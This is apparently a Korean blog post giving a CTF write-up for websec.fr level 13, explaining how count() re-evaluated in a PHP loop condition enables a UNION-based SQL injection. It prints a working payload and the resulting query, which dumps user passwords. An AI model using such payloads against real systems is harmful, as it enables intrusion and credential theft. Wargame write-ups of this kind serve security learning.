write-ups/websec.fr

websec.fr level13 write-up

2020. 3. 15. 03:56

 

흙수저 라이언ㅋㅋ

 

 

 고등학교 1학년 땐가 페이스북에서 Sakuya Izayoi님께서 "PHP에서 성능 개선을 위한 유용한 팁"이라는 제목으로 어떤 글을 하나 공유하신 적이 있었다. 여러가지 팁들이 있었지만, 가장 인상깊었던 팁 중 하나는 반복문의 조건에 함수가 들어가 있으면 그 함수는 반복문이 한 번 실행될 때마다 호출되기 때문에 성능 향상을 위해서라면 조건문에는 함수를 넣지 말라는 것이었다. 그게 사실 그냥 넘길 만한 사소한 것이어서 나에게는 적쟎은 충격이었기 때문에 아직까지도 반복문을 사용할 때면 머릿 속에 또렷이 그 문장이 새겨진다.

( * 링크 : http://www.qdata.co.kr/bo/bbs/board.php?bo_table=pht&wr_id=77)

 

 이 때 이후로 해당사항을 지키면서 코딩을 해왔는데 이걸 여기에다가 사용해볼 줄은 꿈에도 몰랐다ㅋㅋ

 

Exploit Point.

 

 

 

 이 for 부분에서 count() 함수는 반복문이 한번씩 실행될 때마다 실행된다. 따라서 만약 $tmp[$i] 1 미만의 값이 들어가서 unset() 당한다면 count() 함수가 반환하는 값은 처음과 다른 값이 될 수 있는 것이다. 이 점을 이용해서 페이로드를 작성하면 된다. 

 

Exploit.

0,0,0,0,1,1)) union select user_name,2,user_password from users-- -

 

위와 같은 페이로드를 입력하면 다음과 같은 쿼리가 생성된다. 

 

SELECT user_id, user_privileges, user_name FROM users WHERE (user_id in (1,1)) union select user_id,2,user_password from users-- -));

admin의 비밀번호를 얻을 수 있다.

'write-ups > websec.fr' 카테고리의 다른 글

websec.fr level19 write-up  (0) 2020.03.16
websec.fr level13 write-up  (0) 2020.03.15
websec.fr level11 write up  (0) 2018.07.10
websec.fr level09 write up  (0) 2018.07.10
websec.fr level22 write up  (0) 2018.07.04
websec.fr level24 write up  (0) 2018.07.04